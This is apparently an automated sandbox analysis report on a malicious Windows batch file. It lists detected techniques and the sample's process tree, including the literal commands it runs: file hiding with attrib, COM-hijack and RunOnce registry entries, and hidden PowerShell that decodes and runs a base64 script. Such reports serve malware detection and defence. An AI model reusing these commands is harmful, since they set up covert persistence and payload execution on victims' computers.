Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
24/04/2026, 07:37
General
- Target _57d130846364c8268fcd873605d074923f1d8b233f4f0372d66c10ac34d15b19.bat
- Size 491KB
- Sample260424-jfvb3sbv9x
- SHA256 57d130846364c8268fcd873605d074923f1d8b233f4f0372d66c10ac34d15b19
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Adds Run key to start application 2 TTPs 1 IoCs
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_57d130846364c8268fcd873605d074923f1d8b233f4f0372d66c10ac34d15b19.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\_57d130846364c8268fcd873605d074923f1d8b233f4f0372d66c10ac34d15b19.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Order.bat"3⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{3D3FFB58-71FF-A03C-4921-A96482821AD2}" /ve /t REG_SZ /d "System Shell Extension" /f3⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{3D3FFB58-71FF-A03C-4921-A96482821AD2}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f3⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{3D3FFB58-71FF-A03C-4921-A96482821AD2}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f3⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "order" /t REG_SZ /d "cmd.exe /c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Order.bat\"" /f3⤵
- Adds Run key to start application
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Understand.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\MENTION.ps1' -Encoding UTF8"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -f "C:\Users\Admin\AppData\Local\Temp\MENTION.ps1"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xpfclbip\xpfclbip.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7E43.tmp" "c:\Users\Admin\AppData\Local\Temp\xpfclbip\CSCF1C18AF699C3437493E02CA36EA1456.TMP"5⤵
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
MENTION.ps1
RES7E43.tmp
Understand.tmp
Understand.tmp
__PSScriptPolicyTest_xedubdul.dyo.ps1
xpfclbip.dll
Order.bat
CSCF1C18AF699C3437493E02CA36EA1456.TMP
xpfclbip.0.cs
xpfclbip.cmdline
memory/2208-144-0x00000231B1830000-0x00000231B183C000-memory.dmp
memory/3944-147-0x000001691C1E0000-0x000001691C1EC000-memory.dmp
memory/4684-111-0x0000024C694F0000-0x0000024C69500000-memory.dmp
memory/4684-125-0x0000024C50DF0000-0x0000024C50E02000-memory.dmp
memory/4684-112-0x0000024C694F0000-0x0000024C69500000-memory.dmp
memory/4684-118-0x0000024C51310000-0x0000024C51332000-memory.dmp
memory/4684-124-0x0000024C50D40000-0x0000024C50D4C000-memory.dmp
memory/5352-149-0x0000021CD81E0000-0x0000021CD81E8000-memory.dmp
memory/5352-150-0x0000021CBF7D0000-0x0000021CBF7DC000-memory.dmp
memory/5352-151-0x0000021CD7DD0000-0x0000021CD7DE2000-memory.dmp
memory/5352-153-0x0000021CBF7D0000-0x0000021CBF7DC000-memory.dmp